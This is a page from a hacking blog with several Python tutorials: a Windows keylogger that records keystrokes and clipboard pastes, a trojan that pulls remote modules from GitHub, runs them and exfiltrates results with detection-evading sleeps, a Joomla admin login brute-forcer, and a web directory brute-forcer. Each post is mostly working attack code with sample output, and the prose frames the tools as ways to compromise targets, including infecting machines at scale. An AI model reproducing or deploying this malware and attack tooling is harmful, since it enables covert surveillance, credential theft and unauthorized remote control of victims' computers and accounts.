• Skip to primary navigation
  • Skip to main content
  • Skip to footer

The Dark Tech

The Dark Tech

  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy
  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy

Python for hacking

How To Make A Keylogger For Windows In Python

February 19, 2022 By BlackHammer 2 Comments

What Is Keylogger

A keylogger (short for keystroke logger) is software that tracks or logs the keys struck on your keyboard, typically in a covert manner so that you don’t know that your actions are being monitored. This is usually done with malicious intent to collect your account information, credit card numbers, user names, passwords, and other private data.

Keylogging for Fun and Keystrokes

Keylogging is one of the oldest tricks in the book and is still employed with various levels of stealth today. Attackers still use it because it’s extremely effective at capturing sensitive information such as credentials or conversations.

An excellent Python library named PyHook1 enables us to easily trap all keyboard events. It takes advantage of the native Windows function SetWindowsHookEx, which allows you to install a user-defined function to be called for certain Windows events. By registering a hook for keyboard events, we are able to trap all of the keypresses that a target issues. On top of this, we want to know exactly what process they are executing these keystrokes against, so that we can determine when usernames, passwords, or other tidbits of useful information are entered. PyHook takes care of all of the low-level programming for us, which leaves the core logic of the keystroke logger up to us. Let’s crack open keylogger.py and drop in some of the plumbing:

from ctypes import *
import pythoncom
import pyHook 
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
 # get a handle to the foreground window
 hwnd = user32.GetForegroundWindow()

All right! So we just put in some helper variables and a function that will capture the active window and its associated process ID. We first call GetForeGroundWindow, which returns a handle to the active window on the target’s desktop.

# find the process ID
 pid = c_ulong(0)
 user32.GetWindowThreadProcessId(hwnd, byref(pid)) 
 # store the current process ID
 process_id = "%d" % pid.value

Next we pass that handle to the GetWindowThreadProcessId function to retrieve the window’s process ID.

# grab the executable
 executable = create_string_buffer("\x00" * 512)
 h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

We then open the process and, using the resulting process handle, we find the actual executable name of the process.

# now read its title
 window_title = create_string_buffer("\x00" * 512)
 length = user32.GetWindowTextA(hwnd, byref(window_title),512)

The final step is to grab the full text of the window’s title bar using the GetWindowText function.

# print out the header if we're in the right process
 print
 print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) 
 print
 # close handles
 kernel32.CloseHandle(hwnd)
 kernel32.CloseHandle(h_process)

At the end of our helper function we output all of the information in a nice header so that you can clearly see which keystrokes went with which process and window.

Now let’s put the meat of our keystroke logger in place to finish it off.

def KeyStroke(event):
 global current_window 
 # check to see if target changed windows
 if event.WindowName != current_window: 
 current_window = event.WindowName 
 get_current_process()

The first thing we do is check if the user has changed windows and if so, we acquire the new window’s name and process information.

# if they pressed a standard key
 if event.Ascii > 32 and event.Ascii < 127: 
 print chr(event.Ascii),
 else:

We then look at the keystroke that was issued and if it falls within the ASCII-printable range, we simply print it out. If it’s a modifier (such as the shift, ctrl, or alt keys) or any other nonstandard key, we grab the key name from the event object.

# if [Ctrl-V], get the value on the clipboard
 if event.Key == "V": 
 win32clipboard.OpenClipboard()
 pasted_value = win32clipboard.GetClipboardData()
 win32clipboard.CloseClipboard()
 print "[PASTE] - %s" % (pasted_value),
 else:
 print "[%s]" % event.Key,
 # pass execution to next hook registered 
 return True

We also check if the user is performing a paste operation, and if so we dump the contents of the clipboard. The callback function wraps up by returning True to allow the next hook in the chain—if there is one—to process the event.

# create and register a hook manager 
 kl = pyHook.HookManager() 
 kl.KeyDown = KeyStroke

We define our PyHook HookManager and then bind the KeyDown event to our user-defined callback function KeyStroke.

# register the hook and execute forever
 kl.HookKeyboard() 
pythoncom.PumpMessages()

We then instruct PyHook to hook all keypresses and continue execution. Whenever the target presses a key on the keyboard, our KeyStroke function is called with an event object as its only parameter.

Let’s Take It For A Spin

It’s easy to test our keylogger. Simply run it, and then start using Windows normally. Try using your web browser, calculator, or any other application, and view the results in your terminal. The output below is going to look a little off, which is only due to the formatting in the article.

C:\>python keylogger-hook.py
[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - 
c:\Python27\python.exe key logger-hook.py ]
t e s t
[ PID: 120 - IEXPLORE.EXE - Bing - Microsoft Internet Explorer ]
w w w . s u d o p a r a t e c h . c o m [Return]
[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - 
c:\Python27\python.exe keylogger-hook.py ]
[Lwin] r
[ PID: 1944 - Explorer.EXE - Run ]
c a l c [Return]
[ PID: 2848 - calc.exe - Calculator ]
1 [Lshift] + 1 =

You can see that I typed the word test into the main window where the keylogger script ran. I then fired up Internet Explorer, browsed to www.thedarktech.com, and ran some other applications. We can now safely say that our keylogger can be added to our bag of trojaning tricks!

Let’s move on to taking screenshots in next article.

Also Check How To Hack Python’s Import Functionality.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Hacking, Keylogger, learn hacking, Learn python, Python, Python for hacking, Windows

How To Hack Python’s Import Functionality

February 19, 2022 By BlackHammer 1 Comment

If you’ve made it this far in the article, you know that we use Python’s import functionality to pull in external libraries so that we can use the code contained within. We want to be able to do the same thing for our trojan, but beyond that, we also want to make sure that if we pull in a dependency (such as Scapy or netaddr), our trojan makes that module available to all subsequent modules that we pull in. Python allows us to insert our own functionality into how it imports modules, such that if a module cannot be found locally, our import class will be called, which will allow us to remotely retrieve the library from our repo. This is achieved by adding a custom class to the sys.meta_path list.

Let’s create a custom loading class now by adding the following code:

class GitImporter(object):
 def __init__(self):
 self.current_module_code = ""
 def find_module(self,fullname,path=None):
 if configured:
 print "[*] Attempting to retrieve %s" % fullname
 new_library = get_file_contents("modules/%s" % fullname) 
 
 if new_library is not None:
 self.current_module_code = base64.b64decode(new_library) 
 return self
 
 return None

Every time the interpreter attempts to load a module that isn’t available, our GitImporter class is used. The find_module function is called first in an attempt to locate the module. We pass this call to our remote file loader and if we can locate the file in our repo, we base64-decode the code and store it in our class.

def load_module(self,name):
 
 module = imp.new_module(name) 
 exec self.current_module_code in module.__dict__ 
 sys.modules[name] = module 
 return module

By returning self, we indicate to the Python inter- preter that we found the module and it can then call our load_module func- tion to actually load it. We use the native imp module to first create a new blank module object and then we shovel the code we retrieved from GitHub into it. The last step is to insert our newly created module into the sys.modules list so that it’s picked up by any future import calls.

Now let’s put the finishing touches on the trojan and take it for a spin.

def module_runner(module):
 task_queue.put(1) 
 result = sys.modules[module].run() 
 task_queue.get()

While we’re in the module_runner function, we simply call the module’s run function to kick off its code.

# store the result in our repo
 store_module_result(result) 
 
 return

When it’s done running, we should have the result in a string that we then push to our repo.

# main trojan loop 
 sys.meta_path = [GitImporter()] 
while True:
 
 if task_queue.empty():

We first make sure to add our custom module importer before we begin the main loop of our application.

config = get_trojan_config()

The first step is to grab the configuration file from the repo and then we kick off the module in its own thread.

for task in config:
 t = threading.Thread(target=module_runner,args=(task['module'],)) 
 t.start()
 time.sleep(random.randint(1,10))
 
 time.sleep(random.randint(1000,10000))

The end of our trojan will then sleep for a random amount of time in an attempt to foil any network pattern analysis. You could of course create a bunch of traffic to Google.com or any number of other things in an attempt to disguise what your trojan is up to.

Now let’s take it for a spin!

If you have sensitive information in files or environment variables, remember that without a private repository, that information is going to go up to GitHub for the whole world to see. Don’t say I didn’t warn you—and of course you can use some encryption techniques.

Let’s Check Our Code

All right! Let’s take this thing for a spin by running it from the command line.

$ python git_trojan.py
[*] Found file abc.json
[*] Attempting to retrieve dirlister
[*] Found file modules/dirlister
[*] Attempting to retrieve environment
[*] Found file modules/environment
[*] In dirlister module
[*] In environment module.

Perfect. It connected to my repository, retrieved the configuration file, pulled in the two modules we set in the configuration file, and ran them.

Now if you drop back in to your command line from your trojan directory, enter:

$ git pull origin master
From 
 * branch master -> FETCH_HEAD
Updating f4d9c1d..5225fdf
Fast-forward
data/abc/29008.data | 1 +
data/abc/44763.data | 1 + 
 2 files changed, 2 insertions(+), 0 deletions(-)
 create mode 100644 data/abc/29008.data
 create mode 100644 data/abc/44763.data

Awesome! Our trojan checked in the results of our two running modules.

There are a number of improvements and enhancements that you can make to this core command-and-control technique. Encryption of all your modules, configuration, and exfiltrated data would be a good start. Automating the backend management of pull-down data, updating configuration files, and rolling out new trojans would also be required if you were going to infect on a massive scale. As you add more and more functionality, you also need to extend how Python loads dynamic and compiled libraries.

For now, let’s work on creating some standalone trojan tasks, and I’ll leave it to you to integrate them into your new GitHub trojan.

Also Check How To Build A GitHub Aware Trojan In Python.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: GitHub, Hacking, Python, Python for hacking, TROJAN

How To Build A GitHub Aware Trojan In Python

February 19, 2022 By BlackHammer 1 Comment

What Is Trojan

In computing, a Trojan horse, or trojan, is any malware which misleads users of its true intent. The term is derived from the Ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.

Trojans are generally spread by some form of social engineering, for example where a user is duped into executing an email attachment disguised to appear not suspicious, (e.g., a routine form to be filled in), or by clicking on some fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller which can then have unauthorized access to the affected computer. Trojans may allow an attacker to access users’ personal information such as banking information, passwords, or personal identity. It can also delete a user’s files or infect other devices connected to the network. Ransomware attacks are often carried out using a trojan.

Building A GitHub Aware Trojan

Now we’re going to create the main trojan that will suck down configuration options and code to run from GitHub. The first step is to build the necessary code to handle connecting, authenticating, and communicating to the GitHub API.

Let’s start by opening a new file called git_trojan.py and entering the following code:

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os
from github3 import login
trojan_id = "abc" 
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules= []
configured = False
task_queue = Queue.Queue()

This is just some simple setup code with the necessary imports, which should keep our overall trojan size relatively small when compiled. I say relatively because most compiled Python binaries using py2exe2 are around 7MB. The only thing to note is the trojan_id variable that uniquely iden- tifies this trojan. If you were to explode this technique out to a full botnet, you’d want the capability to generate trojans, set their ID, automatically create a configuration file that’s pushed to GitHub, and then compile the trojan into an executable. We won’t build a botnet today, though; I’ll let your imagination do the work.

Now let’s put the relevant GitHub code in place.

def connect_to_github(): 
 gh = login(username="yourusername",password="yourpassword")
 repo = gh.repository("yourusername","yourrepository")
 branch = repo.branch("master") 
 
 return gh,repo,branch
def get_file_contents(filepath): 
 
 gh,repo,branch = connect_to_github() 
 tree = branch.commit.commit.tree.recurse()
 
 for filename in tree.tree:
 
 if filepath in filename.path:
 print "[*] Found file %s" % filepath 
 blob = repo.blob(filename._json_data['sha'])
 return blob.content
 return None

def get_trojan_config(): 
 global configured 
 config_json = get_file_contents(trojan_config)
 config = json.loads(base64.b64decode(config_json))
 configured = True
 for task in config:
 
 if task['module'] not in sys.modules:
 
 exec("import %s" % task['module'])
 
 return config

def store_module_result(data): 
 
 gh,repo,branch = connect_to_github()
 remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
 repo.create_file(remote_path,"Commit message",base64.b64encode(data))
 return

These four functions represent the core interaction between the trojan and GitHub. The connect_to_github function simply authenticates the user to the repository, and retrieves the current repo and branch objects for use by other functions. Keep in mind that in a real-world scenario, you want to obfuscate this authentication procedure as best as you can. You might also want to think about what each trojan can access in your repository based on access controls so that if your trojan is caught, someone can’t come along and delete all of your retrieved data. The get_file_contents function is responsible for grabbing files from the remote repo and then reading the contents in locally. This is used both for reading configuration options as well as reading module source code. The get_trojan_config function is responsible for retrieving the remote configuration document from the repo so that your trojan knows which modules to run. And the final func- tion store_module_result is used to push any data that you’ve collected on the target machine. Now let’s create an import hack to import remote files from our GitHub repo in next article.

Also Check How To Brute-Force HTML Form Authentication In Python.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: GitHub, hacker, Python, Python for hacking, TROJAN

How To Brute-Force HTML Form Authentication In Python

February 19, 2022 By BlackHammer 1 Comment

What Is HTML Form Authentication

HTML form-based authentication, typically presently colloquially referred to as simply form-based authentication, is a technique whereby a website uses a web form to collect, and subsequently authenticate, credential information from a user agent, typically a web browser. (Note that the phrase “form-based authentication” is ambiguous. See form-based authentication for further explanation.)

Brute-Forcing HTML Form Authentication

There may come a time in your web hacking career where you need to either gain access to a target, or if you’re consulting, you might need to assess the password strength on an existing web system. It has become more and more common for web systems to have brute-force protection, whether a captcha, a simple math equation, or a login token that has to be submitted with the request. There are a number of brute forcers that can do the brute-forcing of a POST request to the login script, but in a lot of cases they are not flexible enough to deal with dynamic content or handle simple “are you human” checks. We’ll create a simple brute forcer that will be useful against Joomla, a popular content management system. Modern Joomla systems include some basic anti-brute-force techniques, but still lack account lockouts or strong captchas by default. In order to brute-force Joomla, we have two requirements that need to be met: retrieve the login token from the login form before submitting the password attempt and ensure that we accept cookies in our urllib2 session.

In order to parse out the login form values, we’ll use the native Python class HTMLParser. This will also be a good whirlwind tour of some additional features of urllib2 that you can employ when building tooling for your own targets. Let’s get started by having a look at the Joomla administrator login form. This can be found by browsing to http://<yourtarget>.com/administrator/. For the sake of brevity, I’ve only included the relevant form elements.

<form action="/administrator/index.php" method="post" id="form-login" 
class="form-inline">
<input name="username" tabindex="1" id="mod-login-username" type="text" 
class="input-medium" placeholder="User Name" size="15"/>
<input name="passwd" tabindex="2" id="mod-login-password" type="password" 
class="input-medium" placeholder="Password" size="15"/>
<select id="lang" name="lang" class="inputbox advancedSelect">
 <option value="" selected="selected">Language - Default</option>
 <option value="en-GB">English (United Kingdom)</option>
</select>
<input type="hidden" name="option" value="com_login"/>
<input type="hidden" name="task" value="login"/>
<input type="hidden" name="return" value="aW5kZXgucGhw"/>
<input type="hidden" name="1796bae450f8430ba0d2de1656f3e0ec" value="1" /> 
</form>

Reading through this form, we are privy to some valuable informa- tion that we’ll need to incorporate into our brute forcer. The first is that the form gets submitted to the /administrator/index.php path as an HTTP POST. The next are all of the fields required in order for the form sub- mission to be successful. In particular, if you look at the last hidden field, you’ll see that its name attribute is set to a long, randomized string. This is the essential piece of Joomla’s anti-brute-forcing technique. That ran- domized string is checked against your current user session, stored in a cookie, and even if you are passing the correct credentials into the login processing script, if the randomized token is not present, the authentica- tion will fail. This means we have to use the following request flow in our brute forcer in order to be successful against Joomla:

  1. Retrieve the login page, and accept all cookies that are returned.
  2. Parse out all of the form elements from the HTML.
  3. Set the username and/or password to a guess from our dictionary.
  4. Send an HTTP POST to the login processing script including all
    HTML form fields and our stored cookies.
  5. Test to see if we have successfully logged in to the web application.

You can see that we are going to be utilizing some new and valuable techniques in this script. I will also mention that you should never “train” your tooling on a live target; always set up an installation of your target web application with known credentials and verify that you get the desired results.

Let’s open a new Python file named joomla_killer.py and enter the following code:

import urllib2 
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser
# general settings
user_thread = 10
username = "admin" 
wordlist_file = "/tmp/cain.txt"
resume = None
# target specific settings
 target_url = "http://192.168.112.131/administrator/index.php" 
target_post = "http://192.168.112.131/administrator/index.php"

These general settings deserve a bit of explanation. The target_url variable is where our script will first download and parse the HTML. The target_post variable is where we will submit our brute-forcing attempt.

username_field= "username" 
password_field= "passwd" 
success_check = "Administration - Control Panel"

Based on our brief analysis of the HTML in the Joomla login, we can set the username_field and password_field variables to the appropriate name of the HTML elements. Our success_check variable is a string that we’ll check for after each brute-forcing attempt in order to determine whether we are successful or not.

Let’s now create the plumbing for our brute forcer; some of the following code will be familiar so I’ll only highlight the newest techniques.

class Bruter(object):
 def __init__(self, username, words):
 
 self.username = username
 self.password_q = words
 self.found = False
 
 print "Finished setting up for: %s" % username
 
 def run_bruteforce(self):
 
 for i in range(user_thread):
 t = threading.Thread(target=self.web_bruter)
 t.start()
 
 def web_bruter(self):
 
 while not self.password_q.empty() and not self.found:
 brute = self.password_q.get().rstrip()
 jar = cookielib.FileCookieJar("cookies") 
 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
 
 response = opener.open(target_url)
 
 page = response.read()
 
 print "Trying: %s : %s (%d left)" % (self.username,brute,self.password_q.qsize())

This is our primary brute-forcing class, which will handle all of the HTTP requests and manage cookies for us. After we grab our password attempt, we set up our cookie jar using the FileCookieJar class that will store the cookies in the cookies file. Next we initialize our urllib2 opener, passing in the initialized cookie jar, which tells urllib2 to pass off any cookies to it. We then make the initial request to retrieve the login form.

# parse out the hidden fields
 parser = BruteParser() 
 parser.feed(page) 
 
 post_tags = parser.tag_results

When we have the raw HTML, we pass it off to our HTML parser and call its feed method, which returns a dictionary of all of the retrieved form elements.

# add our username and password fields
 post_tags[username_field] = self.username 
 post_tags[password_field] = brute

After we have successfully parsed the HTML, we replace the username and password fields with our brute-forcing attempt.

login_data = urllib.urlencode(post_tags) 
 login_response = opener.open(target_post, login_data)
 
 login_result = login_response.read()

Next we URL encode the POST variables, and then pass them in our subsequent HTTP request.

if success_check in login_result: 
 self.found = True
 print "[*] Bruteforce successful."
 print "[*] Username: %s" % username
 print "[*] Password: %s" % brute
 print "[*] Waiting for other threads to exit..."

After we retrieve the result of our authentication attempt, we test whether the authentication was successful or not.

Now let’s imple- ment the core of our HTML processing. Add the following class to your joomla_killer.py script:

class BruteParser(HTMLParser):
 def __init__(self):
 HTMLParser.__init__(self)
 self.tag_results = {}

This forms the specific HTML parsing class that we want to use against our target. After you have the basics of using the HTMLParser class, you can adapt it to extract information from any web application that you might be attacking. The first thing we do is create a dictionary in which our results will be stored.

def handle_starttag(self, tag, attrs):
 if tag == "input": 
 tag_name = None
 tag_value = None

When we call the feed function, it passes in the entire HTML document and our handle_starttag function is called whenever a tag is encountered. In particular, we’re looking for HTML input tags and our main processing occurs when we determine that we have found one.

for name,value in attrs:
 if name == "name": 
  tag_name = value 
 if name == "value":
  tag_value = value 
 
 if tag_name is not None:
  self.tag_results[tag_name] = value

We begin iterating over the attributes of the tag, and if we find the name or value attributes, we associate them in the tag_results dictionary. After the HTML has been processed, our brute- forcing class can then replace the username and password fields while leaving the remainder of the fields intact.

To wrap up our Joomla brute forcer, let’s copy-paste the build_wordlist function from our previous section and add the following code:

# paste the build_wordlist function here
words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username,words)
bruter_obj.run_bruteforce()

That’s it! We simply pass in the username and our wordlist to our Bruter class and watch the magic happen.

HTMLParser 101

There are three primary methods you can implement when using the HTMLParser class: handle_starttag, handle_endtag, and handle_data. The handle_starttag function will be called any time an opening HTML tag is encountered, and the opposite is true for the handle_endtag function, which gets called each time a closing HTML tag is encountered. The handle_data function gets called when there is raw text in between tags. The function prototypes for each function are slightly different, as follows:

handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)

A quick example to highlight this:

<title>Python rocks!</title>
handle_starttag => tag variable would be "title"
handle_data => data variable would be "Python rocks!"
handle_endtag => tag variable would be "title"

With this very basic understanding of the HTMLParser class, you can do things like parse forms, find links for spidering, extract all of the pure text for data mining purposes, or find all of the images in a page.

Let’s Check Our Code

If you don’t have Joomla installed into your Kali VM, then you should install it now. My target VM is at 192.168.112.131 and I am using a wordlist provided by Cain and Abel,3 a popular brute-forcing and cracking toolset. I have already preset the username to admin and the password to justin in the Joomla installation so that I can make sure it works. I then added justin to the cain.txt wordlist file about 50 entries or so down the file. When run- ning the script, I get the following output:

$ python2.7 joomla_killer.py 
Finished setting up for: admin
Trying: admin : 0racl38 (306697 left)
Trying: admin : [email protected]#$% (306697 left)
Trying: admin : [email protected]#$%^ (306697 left)
--snip--
Trying: admin : 1p2o3i (306659 left)
Trying: admin : 1qw23e (306657 left)
Trying: admin : 1q2w3e (306656 left)
Trying: admin : 1sanjose (306655 left)
Trying: admin : 2 (306655 left)
Trying: admin : justin (306655 left)
Trying: admin : 2112 (306646 left)
[*] Bruteforce successful.
[*] Username: admin
[*] Password: justin
[*] Waiting for other threads to exit...
Trying: admin : 249 (306646 left)
Trying: admin : 2welcome (306646 left)

You can see that it successfully brute-forces and logs in to the Joomla administrator console. To verify, you of course would manually log in and make sure. After you test this locally and you’re certain it works, you can use this tool against a target Joomla installation of your choice.

Also Check How To Brute-Force Directories and File Locations using Python.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: HTMLParser, Joomla, Learn python, Python, Python for hacking, WordPress

How To Brute-Force Directories and File Locations using Python

February 19, 2022 By BlackHammer 1 Comment

What Is Brute Force Attack

A Brute Force Attack, also known as an exhaustive search, is a cryptographic hack that relies on guessing possible combinations of a targeted password until the correct password is discovered. The longer the password, the more combinations that will need to be tested. A brute force attack can be time consuming, difficult to perform if methods such as data obfuscation are used, and at times down right impossible. However, if the password is weak it could merely take seconds with hardly any effort. Weak passwords are like shooting fish in a barrel for attackers, which is why all organizations should enforce a strong password policy across all users and systems.

Brute-Forcing Directories and File Locations

The previous example assumed a lot of knowledge about your target. But in many cases where you’re attacking a custom web application or large ecommerce system, you won’t be aware of all of the files accessible on the web server. Generally, you’ll deploy a spider, such as the one included in Burp Suite, to crawl the target website in order to discover as much of the web application as possible. However, in a lot of cases there are configura- tion files, leftover development files, debugging scripts, and other security breadcrumbs that can provide sensitive information or expose functionality that the software developer did not intend. The only way to discover this content is to use a brute-forcing tool to hunt down common filenames and directories.

We’ll build a simple tool that will accept wordlists from common brute forcers such as the DirBuster project1 or SVNDigger,2 and attempt to discover directories and files that are reachable on the target web server. As before, we’ll create a pool of threads to aggressively attempt to discover content.

Let’s start by creating some functionality to create a Queue out of a wordlist file. Open up a new file, name it content_bruter.py, and enter the following code:

import urllib2
import threading
import Queue
import urllib
threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101Firefox/19.0"
def build_wordlist(wordlist_file):
 # read in the word list
 fd = open(wordlist_file,"rb") 
 raw_words = fd.readlines()
 fd.close()
 
 found_resume = False
 words = Queue.Queue()
 
 for word in raw_words: 
 
 word = word.rstrip()
 
 if resume is not None:
 
 if found_resume:
 words.put(word)
 else:
 if word == resume:
 found_resume = True
 print "Resuming wordlist from: %s" % resume
 
 else:
 words.put(word)
 
 return words

This helper function is pretty straightforward. We read in a wordlist file and then begin iterating over each line in the file. We have some built-in functionality that allows us to resume a brute-forcing session if our network connectivity is interrupted or the target site goes down. This can be achieved by simply setting the resume variable to the last path that the brute forcer tried. When the entire file has been parsed, we return a Queue full of words to use in our actual brute-forcing function. We will reuse this function later in this chapter.

We want some basic functionality to be available to our brute-forcing script. The first is the ability to apply a list of extensions to test for when making requests. In some cases, you want to try not only the /admin directly for example, but admin.php, admin.inc, and admin.html.

def dir_bruter(word_queue,extensions=None):
 
 while not word_queue.empty():
 attempt = word_queue.get()
 
 attempt_list = []
 
 # check to see if there is a file extension; if not,
 # it's a directory path we're bruting
 if "." not in attempt: 
 attempt_list.append("/%s/" % attempt)
 else:
 attempt_list.append("/%s" % attempt)

Our dir_bruter function accepts a Queue object that is populated with words to use for brute-forcing and an optional list of file extensions to test. We begin by testing to see if there is a file extension in the current word, and if there isn’t, we treat it as a directory that we want to test for on the remote web server

# if we want to bruteforce extensions 
 if extensions: 
 for extension in extensions:
 attempt_list.append("/%s%s" % (attempt,extension))
 
 # iterate over our list of attempts 
 for brute in attempt_list:
 
 url = "%s%s" % (target_url,urllib.quote(brute))

If there is a list of file extensions passed in, then we take the current word and apply each file extension that we want to test for. It can be useful here to think of using extensions like .orig and .bak on top of the regular programming language extensions.

try:
 headers = {}
 headers["User-Agent"] = user_agent 
 r = urllib2.Request(url,headers=headers)

After we build a list of brute-forcing attempts, we set the User-Agent header to something innocuous and test the remote web server.

if len(response.read()): 
 print "[%d] => %s" % (response.code,url)
 
 except urllib2.URLError,e:
 if hasattr(e, 'code') and e.code != 404:
 print "!!! %d => %s" % (e.code,url) 
 
 pass

If the response code is a 200, we output the URL, and if we receive anything but a 404 we also output it because this could indicate something interesting on the remote web server aside from a “file not found” error.

It’s useful to pay attention to and react to your output because, depend- ing on the configuration of the remote web server, you may have to filter out more HTTP error codes in order to clean up your results. Let’s finish out the script by setting up our wordlist, creating a list of extensions, and spinning up the brute-forcing threads.

word_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]
for i in range(threads):
 t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
 t.start()

The code snip above is pretty straightforward and should look familiar by now. We get our list of words to brute-force, create a simple list of file extensions to test for, and then spin up a bunch of threads to do the brute-forcing.

Now Let’s Check Our Code

OWASP has a list of online and offline (virtual machines, ISOs, etc.) vulnerable web applications that you can test your tooling against. In this case, the URL that is referenced in the source code points to an intentionally buggy web application hosted by Acunetix. The cool thing is that it shows you how effective brute-forcing a web application can be. I recommend you set the thread_count variable to something sane such as 5 and run the script. In short order, you should start seeing results such as the ones below:

[200] => http://testphp.vulnweb.com/CVS/
[200] => http://testphp.vulnweb.com/admin/
[200] => http://testphp.vulnweb.com/index.bak
[200] => http://testphp.vulnweb.com/search.php
[200] => http://testphp.vulnweb.com/login.php
[200] => http://testphp.vulnweb.com/images/
[200] => http://testphp.vulnweb.com/index.php
[200] => http://testphp.vulnweb.com/logout.php
[200] => http://testphp.vulnweb.com/categories.php

You can see that we are pulling some interesting results from the remote website. I cannot stress enough the importance to perform content brute- forcing against all of your web application targets.

Also Check How To Map Open Source Web App Installations Using Python.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Brute-forcing, File directory, hackers, Hacking, Python, Python for hacking, Web application, Website

  • Go to page 1
  • Go to page 2
  • Go to page 3
  • Go to Next Page »

Footer

Contact Us

If you’d like to find out more about our services and explore the possibility of us working together, get in touch. Our initial consultation is free. So you’ve nothing to lose!

Contact Us
  • Privacy Policy
  • Disclaimer
  • Terms and Conditions

Copyright © 2022 Team Black · The Dark Tech

Log in